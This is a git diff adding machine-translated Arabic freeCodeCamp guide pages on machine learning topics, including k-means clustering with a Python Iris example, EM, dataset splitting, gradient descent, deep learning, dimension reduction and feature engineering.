+3.  حساب المسافات لجميع نقاط البيانات إلى كل centroids k ، وتعيين كل نقطة بيانات إلى كتلة تحتوي على أقرب النقطه الوسطى
+4.  بمجرد تصنيف جميع نقاط البيانات ، قم بحساب نقطة المنتصف لكل النقاط لكل مجموعة وتعيين كنقط مركزي جديد
+5.  كرر الخطوتين 3 و 4 حتى يتقارب centroids عند نقاط k معينة.
+
+نظرًا لأننا نحتاج فقط إلى حساب مسافات kxn (بدلاً من n (n-1) بالنسبة إلى خوارزمية knn) ، فإن هذه الخوارزمية قابلة للتوسع تمامًا.
+
+في ما يلي مثال تجميع في Python يستخدم " [مجموعة بيانات Iris"](https://www.kaggle.com/uciml/iris)
+
+ `import pandas as pd 
+ import numpy as np 
+ iris = pd.read_csv('Iris.csv') 
+ del iris['Id'] 
+ del iris['SepalLengthCm'] 
+ del iris['SepalWidthCm'] 
+ 
+ from matplotlib import pyplot as plt 
+ # k is the input parameter set to the number of species 
+ k = len(iris['Species'].unique()) 
+ for i in iris['Species'].unique(): 
+    # select only the applicable rows 
+    ds = iris[iris['Species'] == i] 
+    # plot the points 
+    plt.plot(ds[['PetalLengthCm']],ds[['PetalWidthCm']],'o') 
+ plt.title("Original Iris by Species") 
+ plt.show() 
+ 
+ from sklearn import cluster 
+ del iris['Species'] 
+ kmeans = cluster.KMeans(n_clusters=k, n_init=10, max_iter=300, algorithm='auto') 
+ kmeans.fit(iris) 
+ labels = kmeans.labels_ 
+ centroids = kmeans.cluster_centers_ 
+ 
+ for i in range(k): 
+    # select only data observations from the applicable cluster 
+    ds = iris.iloc[np.where(labels==i)] 
+    # plot the data observations 
+    plt.plot(ds['PetalLengthCm'],ds['PetalWidthCm'],'o') 
+    # plot the centroids 
+    lines = plt.plot(centroids[i,0],centroids[i,1],'kx') 
+    # make the centroid x's bigger 
+    plt.setp(lines,ms=15.0) 
+    plt.setp(lines,mew=2.0) 
+ plt.title("Iris by K-Means Clustering") 
+ plt.show() 
+` 
+
+بما أن نقاط البيانات تنتمي عادة إلى مساحة عالية الأبعاد ، فإن مقياس التشابه غالباً ما يتم تعريفه على أنه مسافة بين متجهين (Euclidean ، Manhathan ، Cosine ، Mahalanobis…)
+
+### كثافة الخلط
+
+يمكننا كتابة _كثافة الخليط على_ النحو التالي: ![كثافة الخليط](https://latex.codecogs.com/gif.latex?p%28x%29%20%3D%20%5Csum_%7Bi%3D1%7D%5E%7Bk%7Dp%28x%7CG_%7Bi%7D%29p%28G_%7Bi%7D%29) حيث Gi هي مكونات الخليط. وتسمى أيضا مجموعة أو مجموعات. p (x | Gi) هي الكثافة المكونة و P (Gi) هي نسب الخليط. عدد المكونات ، k ، هو hyperparameter ويجب تحديده مسبقًا.
+
+### التنبؤ بالتعظيم (EM)
+
+في هذا النهج هو احتمالي ونحن نبحث عن معلمات كثافة المكون الذي يزيد من احتمال العينة.
+
+الخوارزمية EM عبارة عن إجراء تكراري فعال لحساب تقدير أقصى احتمال (ML) في وجود بيانات مفقودة أو مخفية. في تقدير ML ، نرغب في تقدير معلمات النموذج التي تكون البيانات المرصودة هي الأكثر احتمالا.
+
+يتكون كل تكرار لخوارزمية EM من عمليتين: E-step و M-step.
+
+1.  في التوقع ، أو الخطوة E ، يتم تقدير البيانات المفقودة بالنظر إلى البيانات الملاحظة والتقديرات الحالية لمعلمات النموذج. يتم تحقيق ذلك باستخدام التوقع المشروط ، موضحا اختيار المصطلحات.
+2.  في الخطوة M ، يتم تكبير وظيفة الاحتمال في ظل افتراض أن البيانات المفقودة معروفة. يتم استخدام تقدير البيانات المفقودة من الخطوة E بدلاً من البيانات المفقودة الفعلية.
+
+يتم ضمان التوافق لأن الخوارزمية مضمونة لزيادة الاحتمالية عند كل عملية تكرار.
+
+## معلومات اكثر:
+
+*   [ويكيبيديا تحليل الكتلة المقالة](https://en.wikipedia.org/wiki/Cluster_analysis)
+*   [مقدمة في التجميع والخوارزميات ذات الصلة](https://www.analyticsvidhya.com/blog/2016/11/an-introduction-to-clustering-and-different-methods-of-clustering/)
+*   [شرائح التجميع - شرائح جامعة ستانفورد](https://web.stanford.edu/class/cs345a/slides/12-clustering.pdf)
+*   [خوارزميات التجميع: من البداية إلى حالة الفن](https://www.toptal.com/machine-learning/clustering-algorithms)
+*   [تحليل الكتلة: المفاهيم الأساسية والخوارزميات](https://www-users.cs.umn.edu/~kumar/dmbook/ch8.pdf)
+*   [تعنى K-Clustering](https://www.datascience.com/blog/k-means-clustering)
+*   [خوارزمية توقع التعظيم](https://www.cs.utah.edu/~piyush/teaching/EM_algorithm.pdf)
+*   [استخدام K-Means التجميع مع بايثون](https://code.likeagirl.io/finding-dominant-colour-on-an-image-b4e075f98097)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/dataset-splitting/index.md b/client/src/guide/arabic/machine-learning/dataset-splitting/index.md
new file mode 100644
index 0000000000..6f7985623a
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/dataset-splitting/index.md
@@ -0,0 +1,29 @@
+---
+title: Dataset Splitting
+localeTitle: تقسيم البيانات
+---
+## تقسيم البيانات
+
+يعد الانقسام في التدريب ، التحقق من صحة الصليب ، ومجموعات الاختبار من أفضل الممارسات الشائعة. يتيح لك هذا الأمر ضبط العديد من معلمات الخوارزمية دون إصدار أحكام تتفق مع بيانات التدريب على وجه التحديد.
+
+### التحفيز
+
+يظهر Dataset Splitting كضرورة لإزالة التحيز لبيانات التدريب في خوارزميات ML. عادة ما ينتج عن تعديل معلمات خوارزمية ML لتلائم بيانات التدريب بشكل أفضل خوارزمية overfit خوارزمية أداء ضعيف في بيانات الاختبار الفعلية. ولهذا السبب ، قمنا بتقسيم مجموعة البيانات إلى مجموعات فرعية متعددة منفصلة نرتب بها معلمات مختلفة.
+
+#### مجموعة التدريب
+
+يتم استخدام مجموعة التدريب لحساب النموذج الفعلي الذي ستستخدمه الخوارزمية عند تعريضها للبيانات الجديدة. عادةً ما تكون مجموعة البيانات هذه 60٪ -80٪ ​​من بياناتك المتوفرة بالكامل (اعتمادًا على ما إذا كنت تستخدم مجموعة التحقق من صحة مشتركة أم لا).
+
+#### مجموعة التحقق من الصليب
+
+مجموعات التحقق من صحة الصليب هي لاختيار النموذج (عادة حوالي 20 ٪ من بياناتك). استخدم مجموعة البيانات هذه لتجربة معلمات مختلفة للخوارزمية كما تم تدريبها على مجموعة التدريب. على سبيل المثال ، يمكنك تقييم معلمات نموذج differnt (درجة متعددة الحدود أو lambda ، معلمة التسوية) على مجموعة التحقق من صحة الصليب لمعرفة أيها قد يكون أكثر دقة.
+
+#### مجموعة الاختبار
+
+مجموعة الاختبار هي مجموعة البيانات النهائية التي تلمسها (عادةً ما تصل إلى 20٪ من بياناتك). إنه مصدر الحقيقة. دقتك في التنبؤ بمجموعة الاختبار هي دقة خوارزمية ML الخاص بك.
+
+#### معلومات اكثر:
+
+*   [AWS ML Doc](http://docs.aws.amazon.com/machine-learning/latest/dg/splitting-the-data-into-training-and-evaluation-data.html)
+*   [وظيفة جيدة stackoverflow](https://stackoverflow.com/questions/13610074/is-there-a-rule-of-thumb-for-how-to-divide-a-dataset-into-training-and-validatio)
+*   [ورقة الأكاديمية](https://www.mff.cuni.cz/veda/konference/wds/proc/pdf10/WDS10_105_i1_Reitermanova.pdf)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/deep-learning/gradient-descent/index.md b/client/src/guide/arabic/machine-learning/deep-learning/gradient-descent/index.md
new file mode 100644
index 0000000000..99852124ca
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/deep-learning/gradient-descent/index.md
@@ -0,0 +1,31 @@
+---
+title: Gradient Descent
+localeTitle: أصل التدرج
+---
+## أصل التدرج
+
+الانحدار التدرج هو خوارزمية التحسين للعثور على الحد الأدنى من وظيفة. في التعلم العميق ، تكون خوارزمية التحسين هذه مفيدة جدًا عندما لا يمكن حساب المعلمات تحليليًا.
+
+![أصل التدرج](https://upload.wikimedia.org/wikipedia/commons/6/68/Gradient_descent.jpg) ما تريد القيام به هو تحديث قيمة المعلمة بشكل متكرر حتى تقوم بتقليل قيمة الدالة Cost J (θ) بالقرب من 0؛
+
+### معدل التعليم
+
+يسمى حجم الخطوة معدل التعلم. إن معدل التعلم الأكبر يجعل التكرار أسرع ولكن قد يتجاوز الحد الأدنى العالمي ، أي القيمة التي نبحث عنها. من ناحية أخرى ، يمكن أن نمنع هذا التجاوز عن طريق خفض معدل التعلم ؛ لكن احذر من أن أصغر معدل جعل التعلم ، وأكثر كثافة computationally يحصل عليه. قد يؤدي ذلك إما إلى إطالة الحساب دون داعٍ ، أو قد لا تصل إلى الحد الأدنى العالمي تمامًا.
+
+### ميزة التحجيم
+
+تتطلب منك مشكلة التعلم العميق استخدام ميزات متعددة لإنشاء نموذج تنبئي. على سبيل المثال ، إذا كنت تبني نموذجًا تنبئيًا لتسعير المنازل ، فسيتعين عليك التعامل مع ميزات مثل السعر نفسه وعدد الغرف ومنطقة اللوت ، وما إلى ذلك. وقد تختلف هذه الميزات إلى حد كبير في النطاق ، على سبيل المثال ، على سبيل المثال قد تتراوح مساحة المنطقة بين 0 و 2000 قدم مربع ، بينما تتراوح الميزات الأخرى مثل عدد الغرف بين 1 و 9.
+
+هذا هو المكان الذي يتم فيه تحسين المقاييس ، والذي يُطلق عليه أيضًا اسم "التطبيع" ، للتأكد من أن خوارزمية التعلم الآلي تعمل بشكل صحيح.
+
+### أصل الانحدار العشوائي
+
+تتطلب مشكلات تعلم الآلة عادةً إجراء حسابات على حجم العينة بالملايين ، وقد يكون ذلك مكثفًا جدًا في الحساب.
+
+في أصل التدرج العشوائي ، تقوم بتحديث المعلمة لتدرج التكلفة لكل مثال بدلاً من ذلك مجموع مجموع تدفقات التكلفة لكل الأمثلة. يمكنك الوصول إلى مجموعة من المعلمات الجيدة بشكل أسرع بعد مرور بضعة أمثلة فقط من خلال التدريب ، وبالتالي يصبح التعلم أسرع أيضًا.
+
+### قراءة متعمقة
+
+*   [دليل الشبكات العصبية والتعليم العميق](http://neuralnetworksanddeeplearning.com/)
+*   [نزول التدرج لآلة التعلم](https://machinelearningmastery.com/gradient-descent-for-machine-learning/)
+*   [الفرق بين أصل التدرج النحاسي ونحد الانحدار العشوائي](https://towardsdatascience.com/difference-between-batch-gradient-descent-and-stochastic-gradient-descent-1187f1291aa1)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/deep-learning/index.md b/client/src/guide/arabic/machine-learning/deep-learning/index.md
new file mode 100644
index 0000000000..aa72a9730e
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/deep-learning/index.md
@@ -0,0 +1,57 @@
+---
+title: Deep Learning
+localeTitle: تعلم عميق
+---
+## تعلم عميق
+
+يشير "التعليم العميق" إلى تقنية في "تعلم الآلة" حيث يوجد لديك الكثير من الشبكات العصبية الاصطناعية مكدسة معاً في بعض العمارة.
+
+بالنسبة إلى الخلايا غير العصبية ، فإن الخلايا العصبية الاصطناعية هي في الأساس دالة رياضية من نوع ما. والشبكات العصبية هي خلايا عصبية متحدة مع بعضها البعض. لذلك في التعلم العميق ، لديك الكثير من الوظائف الرياضية مكدسة فوق (أو على الجانب) من بعضها البعض في بعض العمارة. قد يكون لكل من الدوال الرياضية معلماته الخاصة (على سبيل المثال ، معادلة خط `y = mx + c` لها معلمتان `m` و `c` ) والتي يجب تعلمها (أثناء التدريب). وبمجرد تعلمها من مهمة معينة (مثل تصنيف القطط والكلاب) ، فإن هذه المجموعة من الوظائف الحسابية (العصبونات) جاهزة للقيام بعملها لتصنيف صور القطط والكلاب.
+
+![القط أو الكلب؟](https://image.slidesharecdn.com/deeplearningfromanoviceperspective-150811155203-lva1-app6891/95/deep-learning-from-a-novice-perspective-3-638.jpg?cb=1439308391)
+
+### لماذا هو صفقة كبيرة؟
+
+يمكن مع مجموعة من القواعد يدويا لبعض المهام صعبة للغاية (على الرغم من نظري ممكن). على سبيل المثال ، إذا حاولت كتابة مجموعة من القواعد اليدوية لتصنيف صورة (مجموعة من قيم البكسل أساسًا) لما إذا كانت تنتمي إلى قطة أو كلب ، فسوف ترى السبب في ذلك أمرًا صعبًا. أضف إلى ذلك حقيقة أن الكلاب والقطط تأتي في مجموعة متنوعة من الأشكال والأحجام والألوان ، ناهيك عن أن الصور يمكن أن يكون لها خلفيات مختلفة. يمكنك أن تفهم بسرعة سبب كون تشفير مثل هذه المشكلة البسيطة مشكلة.
+
+يساعد "التعليم العميق" على معالجة هذه المشكلة المتمثلة في معرفة مجموعة القواعد التي يمكنها تصنيف صورة ما كقطط أو كلب تلقائيًا! كل ما يحتاج إليه هو مجموعة من الصور التي تم تصنيفها بشكل صحيح على أنها قطة أو كلب وستتمكن من معرفة مجموعة القواعد المطلوبة. سحر!
+
+تبين أن هناك الكثير من المشاكل التي لا تتعلق بالصور (مثل التعرف على الصوت) ، حيث أن العثور على مجموعة من القواعد أمر صعب للغاية. يمكن أن يساعد التعليم العميق في ذلك بشرط وجود الكثير من البيانات المصنفة بالفعل.
+
+### كيفية تدريب نموذج التعلم العميق؟
+
+إن تدريب شبكة عصبية عميقة (تعرف أيضاً بوظائفنا الرياضية مرتبة في بعض العمارة) هو في الأساس فن له الكثير من المعلمات الزائدة. تعتبر المعلمات Hyper-Basically أشياء مثل الوظيفة الرياضية التي تستخدمها ، أو أي معمارية تستخدمها ، والتي تحتاج إلى معرفتها يدويًا حتى تتمكن شبكتك من تصنيف القطط والكلاب بنجاح. لتدريب ، تحتاج إلى الكثير من البيانات المسمى (في هذه الحالة الكثير من الصور المصنفة بالفعل على أنها قطط أو كلاب) و الكثير من قوة الحوسبة و الصبر!
+
+من أجل التدريب ، تقوم بتزويد شبكة عصبية بوظيفة خسارة تقول بشكل أساسي كيف تختلف نتائج الشبكة العصبية عن الإجابات الصحيحة. استنادًا إلى قيمة دالة الخسارة ، تقوم بتغيير معلمات الوظيفة الرياضية بطريقة بحيث تحاول الشبكة في المرة القادمة تصنيف نفس الصورة ، تكون قيمة دالة الخسارة أقل. يمكنك الاستمرار في العثور على قيمة وظيفة الخسارة وتحديث المعلمات مرارًا وتكرارًا عبر مجموعة بيانات التدريب بأكملها حتى تكون قيم وظائف الخسارة ضمن هوامش معقولة. شبكتك العصبية الضخمة جاهزة الآن!
+
+### بعض معماريات الشبكة العصبية القياسية
+
+على مدى السنوات القليلة الماضية ، أصبحت بعض النماذج (أي مجموعة من الوظائف الرياضية ، والهندسة المعمارية ، والمعلمات) معيارًا لمهام معينة. على سبيل المثال ، فاز نموذج يسمى Resnet-152 بتحدي Imagenet في عام 2015 والذي يتضمن محاولة تصنيف الصور إلى 1000 فئة (تشمل القطط والكلاب). إذا كنت تخطط للقيام بمهام متشابهة ، فستبدأ التوصية بمثل هذه النماذج القياسية وتعديلها إذا لم تستوفِ متطلباتك.
+
+يبدو نموذج resnet-152 مثل هذا (لا تقلق إذا لم تفهمه. إنه مجرد مجموعة من الوظائف الرياضية مكدسة فوق بعضها البعض بطريقة مثيرة للاهتمام):
+
+![Resnet-152 Model](https://adeshpande3.github.io/assets/ResNet.gif)
+
+كان لدى Google بنية الشبكة العصبية الخاصة بها والتي فازت في Imagenet الذي تم تحديه في عام 2014. والتي يمكن رؤيتها في [gif هنا بمزيد من التفاصيل](https://adeshpande3.github.io/assets/GoogleNet.gif) .
+
+### كيفية تنفيذ بنفسك؟
+
+توجد في هذه الأيام مجموعة متنوعة من أطر التعلم العميقة التي تسمح لك بتحديد الوظيفة الرياضية التي ترغب في استخدامها ، وبنية التصميم الخاصة بوظائفك ، وأية وظيفة فقدان تستخدم في التدريب. بما أن تدريب مثل هذا النموذج مكثف للغاية من الناحية الحسابية ، فإن معظم هذه الأطر تولد تعليمات برمجية محسنة لأي جهاز قد تمتلكه. بعض الأطر المشهورة هي:
+
+*   [اباتشي MXNet](https://mxnet.incubator.apache.org/)
+*   [جوجل Tensorflow](https://www.tensorflow.org/)
+*   [Pytorch](http://pytorch.org//)
+*   [Keras](https://keras.io/)
+*   [Caffe2](https://caffe2.ai/)
+*   [غلوون](https://github.com/gluon-api/gluon-api/)
+*   [Theano](http://deeplearning.net/software/theano/)
+
+### معلومات اكثر:
+
+*   [كتاب التعلم العميق](http://www.deeplearningbook.org)
+*   [تعلم عميق](https://en.wikipedia.org/wiki/Deep_learning)
+*   [دليل FreeCodeCamp إلى الشبكات العصبية](https://github.com/freeCodeCamp/guides/blob/master/src/pages/machine-learning/neural-networks/index.md)
+*   [Imagenet](http://image-net.org/)
+*   [دليل المبتدئين لفهم الشبكات العصبية التلافيفية](https://adeshpande3.github.io/adeshpande3.github.io/A-Beginner's-Guide-To-Understanding-Convolutional-Neural-Networks/)
+*   [التعلم العميق مبسطة - DeepLearning.TV](https://www.youtube.com/playlist?list=PLjJh1vlSEYgvGod9wWiydumYl8hOXixNu)
+*   [الشبكات العصبية والتعليم العميق](http://neuralnetworksanddeeplearning.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/deep-learning/music-classification/index.md b/client/src/guide/arabic/machine-learning/deep-learning/music-classification/index.md
new file mode 100644
index 0000000000..58024a64c5
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/deep-learning/music-classification/index.md
@@ -0,0 +1,26 @@
+---
+title: Music Classification
+localeTitle: تصنيف الموسيقى
+---
+## تصنيف الموسيقى
+
+تصنيف الموسيقى هو مجال آخر حيث يمكن تطبيق استراتيجيات التعلم العميق من أجل تحقيق دقة تصنيف أعلى من طرق التعلم الآلي التقليدية. يمكن استخدام الشبكات العصبية العميقة التي كانت تستخدم في الأصل في التعرف على الصور ومهام رؤية الكمبيوتر لتصنيف الموسيقى من خلال استخدام الطيف الترددي. إن المخطط الطيفي ليس سوى تمثيل مرئي لطيف الترددات الموجودة في الموسيقى على مدى فترة من الزمن. وبعبارة أخرى ، يمكن فصل الإشارة الموسيقية التي هي تردد ناتج ، إلى نطاق تردداتها ويمكن تمثيل جهارة الصوت من حيث dB في كل تردد. يمكن استخدام هذه الصورة لتدريب شبكة عصبية تصنف مثل هذه الطيف. حالة استخدام كبيرة هي التعرف على النوع.
+
+### و follwing هي أمثلة على طيفي مختلف:
+
+![Spectrogram1](http://deepsound.io/images/new_blues_00.png)
+
+المخطط الطيفي أعلاه هو أغنية من نوع البلوز. ترددات على طول المحور ص ، والوقت على محور س. وتمثل الألوان الأكثر إشراقا أن صوت هذا التردد مرتفع للغاية في حين أن الألوان الداكنة تمثل أنها ناعمة عند هذه النقاط الزمنية المحددة. يمكن استخدام مثل هذه الصورة التي تحتوي على الكثير من البيانات لتدريب الشبكة العصبية. نحن نستخدم بشكل عام طيفًا ذا مقياس متناهي الصغر بغرض التعرف على النوع ، وهو مقياس للمقاييس التي يحكمها المستمعون ، أي كيف نتصور هذه الترددات للتمييز بين مكونات الأنواع المختلفة.
+
+**يحول فورييه**
+
+من التفاصيل المهمة التي يجب معرفتها هي أن مثل هذه الطيفيات يتم إنشاؤها بمساعدة مفهوم رياضي يعرف باسم تحويلات فورييه. يؤدي تحويل فورييه إلى تحلل وظيفة الوقت في الترددات التي تصنعها.
+
+#### معلومات اكثر
+
+إذا كنت تستخدم python ، فهناك العديد من المكتبات لمعالجة الإشارات. [Librosa](https://librosa.github.io/librosa/) هو واحد مشهور ، وآخر هو [scipy](https://scipy.org/) والتي يمكن استخدامها أيضا لأغراض علمية أخرى. يمكن إنشاء مخططات طيف ميل (mel-spectrograms) للاستفادة من هذه المكتبات.
+
+##### يرجى إلقاء نظرة على الروابط التالية لمزيد من المعلومات حول الموضوع أعلاه:
+
+*   [العثور على النوع](https://hackernoon.com/finding-the-genre-of-a-song-with-deep-learning-da8f59a61194)
+*   [صوت عميق](http://deepsound.io/music_genre_recognition.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md b/client/src/guide/arabic/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md
new file mode 100644
index 0000000000..e2fda4e73d
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md
@@ -0,0 +1,11 @@
+---
+title: Optimization Algorithms for Gradient Descent
+localeTitle: خوارزميات التحسين لنسب الانحدار
+---
+## خوارزميات التحسين لنسب الانحدار
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/dimension-reduction/index.md b/client/src/guide/arabic/machine-learning/dimension-reduction/index.md
new file mode 100644
index 0000000000..1e39080ae5
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/dimension-reduction/index.md
@@ -0,0 +1,33 @@
+---
+title: Dimension Reduction
+localeTitle: خفض البعد
+---
+## خفض البعد
+
+يمكن أن يكون التعامل مع الكثير من الأبعاد مؤلمًا لخوارزميات التعلم الآلي. سيزيد البعد العالي من التعقيد الحسابي ، ويزيد من خطر الإطعام (حيث أن الخوارزمية لديك أكثر درجات الحرية) وسيزداد تفاوت البيانات. ومن ثم ، فإن تقليل الأبعاد سيعرض البيانات في فضاء ذي بعد أقل للحد من هذه الظواهر.
+
+## لماذا يعتبر تقليل الأبعاد مفيدًا؟
+
+*   وكثيرا ما يستخدم الإسقاط في بعدين لتسهيل تصور مجموعات البيانات عالية الأبعاد.
+    
+*   عندما يمكن إعطاء الأبعاد لتفسير ذي مغزى ، يمكن استخدام الإسقاط على هذا البعد لشرح بعض السلوكيات.
+    
+*   في حالة التعلم تحت الإشراف ، يمكن استخدام تقليل الأبعاد لتقليل بُعد الميزات ، مما قد يؤدي إلى أداء أفضل لخوارزمية التعلم.
+    
+
+## تقنيات تقليل الأبعاد
+
+*   تحليل التمييز الخطي [LDA](http://scikit-learn.org/stable/modules/lda_qda.html)
+*   تحليل المكونات الرئيسية [PCA](http://setosa.io/ev/principal-component-analysis/)
+*   نواة PCA
+*   النواة القائمة على الرسوم البيانية PCA
+*   t-Distributed Stochastic neighbourhood Embedding [t-SNE](https://lvdmaaten.github.io/tsne/)
+*   [الترميز السيارات](https://medium.com/towards-data-science/reducing-dimensionality-from-dimensionality-reduction-techniques-f658aec24dfe)
+*   تحليل التمييز العام (GDA)
+*   autoencoders
+
+#### معلومات اكثر:
+
+*   [خطوة بخطوة تعليمي لتحليل المكونات الرئيسية](https://plot.ly/ipython-notebooks/principal-component-analysis/#introduction)
+*   [تقنيات تقليل الأبعاد](https://medium.com/towards-data-science/reducing-dimensionality-from-dimensionality-reduction-techniques-f658aec24dfe)
+*   [تقنيات الحد من أبعاد: أين تبدأ](https://blog.treasuredata.com/blog/2016/03/25/dimensionality-reduction-techniques-where-to-begin)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/expectation-maximization-algorithm/index.md b/client/src/guide/arabic/machine-learning/expectation-maximization-algorithm/index.md
new file mode 100644
index 0000000000..7dd2d3b9f9
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/expectation-maximization-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Expectation Maximization Algorithm
+localeTitle: خوارزمية تعظيم التوقع
+---
+#### واقترح ريدينج:
+
+*   https://en.wikipedia.org/wiki/Expectation٪E2٪80٪93maximization\_algorithm
+*   http://www.nature.com/nbt/journal/v26/n8/full/nbt1406.html
+*   http://www.cc.gatech.edu/~dellaert/em-paper.pdf
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/feature-engineering/index.md b/client/src/guide/arabic/machine-learning/feature-engineering/index.md
new file mode 100644
index 0000000000..8d71316bba
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/feature-engineering/index.md
@@ -0,0 +1,89 @@
+---
+title: Feature Engineering
+localeTitle: هندسة الميزة
+---
+## هندسة الميزة
+
+يعمل التعلم الآلي بشكل أفضل مع البيانات المتكونة بشكل جيد. تصف الهندسة ميزة تقنيات معينة للتأكد من أننا نعمل بأفضل تمثيل ممكن للبيانات التي جمعناها.
+
+## لماذا تعد ميزة الهندسة مفيدة؟
+
+*   تؤثر كمية ونوعية الميزات على القدرة التنبؤية للنموذج. المزيد من الميزات عالية الجودة في نموذج أفضل.
+*   قم ببناء نماذج أفضل عن طريق أخذ البيانات التي لديك وزيادتها بمعلومات إضافية ذات صلة بالموضوع تم الحصول عليها في مكان آخر.
+*   يمكن أن تؤدي الميزات الجديدة إلى "اختراقات" في قدرة النموذج على التنبؤ بنتائج قوية.
+
+## تحذيرات لميزة الهندسة
+
+*   يمكن أن يؤدي إنشاء ميزات جديدة استنادًا إلى ميزات معروفة إلى عملية متعددة الأبعاد ، وهي حالة تكون فيها ميزتان مرتبطتان خطيًا. هذا يرقى إلى "الغمس المزدوج" في نموذج ويمكن أن يؤدي إلى أكثر من المناسب.
+*   الكثير ليس دائما جيدا. يمكن أن تؤدي إضافة ميزات ذات قدرات تنبؤية ضعيفة إلى زيادة الوقت الحسابي دون إضافة مزايا للنموذج.
+
+## أمثلة على هندسة الميزات:
+
+*   إذا كانت لديك ميزة "تاريخ" ، فجرّب تضمينها في "يوم من الأسبوع" أو "أسبوع من السنة" أو "شهر السنة". وبالمثل ، قم بإنشاء ميزة AM / PM من "الوقت من اليوم".
+*   قم بإجراء تخفيض للبيانات مثل PCA ثم أضف المتجهات من PCA إلى البيانات كميزات جديدة.
+*   إنتاج ميزات جديدة من خلال تحويل الميزات الحالية عدديًا. ومن الأمثلة على ذلك تحويل البيانات أو ترميز الخصائص الفئوية كأرقام (تحويل منخفض / متوسط ​​/ مرتفع إلى 1/2/3).
+*   استخدم بيانات التعداد لإنشاء ميزات جديدة (مثل متوسط ​​الدخل) ، بافتراض أن مجموعة البيانات الخاصة بك تحتوي على معلومات الموقع (مدينة ، ولاية ، مقاطعة ، وما إلى ذلك).
+
+فيما يلي اثنين من تقنيات الهندسة ميزة: التحجيم والاختيار.
+
+### ميزة التحجيم
+
+لنفترض أن بياناتك تحتوي على الوزن والطول للأشخاص. الأرقام الخام من هاتين الميزتين تحتوي على فرق كبير (على سبيل المثال 80 كجم و 180 سم ، أو 175 رطلاً مقابل 5.9 قدم) ، مما قد يؤثر على نتائج بعض خوارزمية تعلم الآلة. هذا هو الحال خاصة بالنسبة للخوارزميات التي تستخدم [وظائف المسافة](https://en.wikipedia.org/wiki/Euclidean_distance) .
+
+لإصلاح هذا isse ، نحن نمثل الأرقام الخام في نطاق 0 إلى 1. يمكننا تحقيق ذلك باستخدام الصيغة: `(x - xMin) / (xMax - xMin)` .
+
+باستخدام هذه الصيغة ، يجب أن نولي اهتماما خاصا للقيم المتطرفة ، لأن هذه يمكن أن تؤثر على النتيجة بشكل كبير عن طريق دفع xMax للأعلى وضغط xMin. هذا هو السبب في كثير من الأحيان يتم القضاء على القيم المتطرفة قبل التحجيم.
+
+### اختيار ميزة
+
+الأمر كله يتعلق بتحديد مجموعة فرعية من الميزات المسؤولة عن الاتجاهات التي نلاحظها في بياناتنا.
+
+لماذا يجب أن نهتم؟ [لعنة البعد](https://en.wikipedia.org/wiki/Curse_of_dimensionality) عدو كبير في أوقات البيانات الكبيرة. لا يمكننا استخدام جميع العشرات لدينا لمئات من الميزات. لن يؤدي ذلك فقط إلى رفع الأبعاد الخاصة ببياناتنا من خلال السقف (2 ^ n ، حيث n هو عدد السمات) ، ولكن في كثير من الأحيان لا يكون هناك أي معنى في حالات الاستخدام المحددة. تخيل الرغبة في التنبؤ بطقس الغد: سيكون من المرجح أن يكون اتجاه الطقس في الأيام الأخيرة أكثر أهمية في هذا السيناريو من الأطفال المولودين في الأيام الأخيرة. لذلك يمكنك بسهولة القضاء على ميزة الأطفال.
+
+لكن ننسى الأطفال في الوقت الحالي ، دعونا نتعمق في التفاصيل.
+
+#### التصفية والتغليف
+
+نحن هنا وصف اثنين من النهج العامة. تعمل طرق الترشيح بشكل مستقل عن خوارزمية التعلم وطرق التغليف التي اخترتها على دمج المتعلم.
+
+تحدد أساليب التصفية مجموعة فرعية من الميزات قبل إدخال البيانات في خوارزمية ML الخاصة بك. وهي تستخدم على سبيل المثال الترابط مع المتغير المتوقع أن يحدد أي مجموعة فرعية من الميزات للاختيار. هذه الطرق سريعة نسبياً للحوسبة ، ولكن لا تستفيد من [تحيز المتعلم](https://en.wikipedia.org/wiki/Inductive_bias) لأن التصفية تحدث بشكل مستقل عن نموذج ML المختار.
+
+تستفيد خوارزميات البحث عن التحيز من تحيز التعلم ، حيث أنها تتضمن نموذج ML الذي اخترته. تعمل هذه الطرق عن طريق إزالة الميزة التي لديها أدنى تغيير في النتيجة عند إزالتها وتكرار هذه العملية حتى تتغير الدرجة بشكل ملحوظ. وهذا يعني تشغيل خوارزمية التعلم مرارًا وتكرارًا ، مما قد يؤدي إلى أوقات حسابية كبيرة. كما أن هذه الطرق تنطوي أيضًا على خطر الإسراف في التركيب ، نظرًا لأنك تقوم بشكل أساسي بتحسين مجموعة الميزات استنادًا إلى طراز ML الذي اخترته.
+
+#### ملاءمة
+
+هناك طريقة أخرى لتحديد الميزات وهي استخدام [BOC (Bayes Optimal Classifier)](https://scholar.google.de/scholar?q=Bayes+Optimal+Classifier&hl=en&as_sdt=0&as_vis=1&oi=scholart&sa=X&ved=0ahUKEwiO16X0tIbXAhXiKsAKHbGrBzoQgQMIJjAA) . القاعدة الأساسية هنا هي:
+
+*   الميزة ذات صلة بقوة إذا كان إزالتها يحط من BOC
+*   ميزة ذات صلة ضعيفة إذا لم تكن ذات صلة قوية وإضافتها مع ميزات أخرى تعمل على تحسين BOC
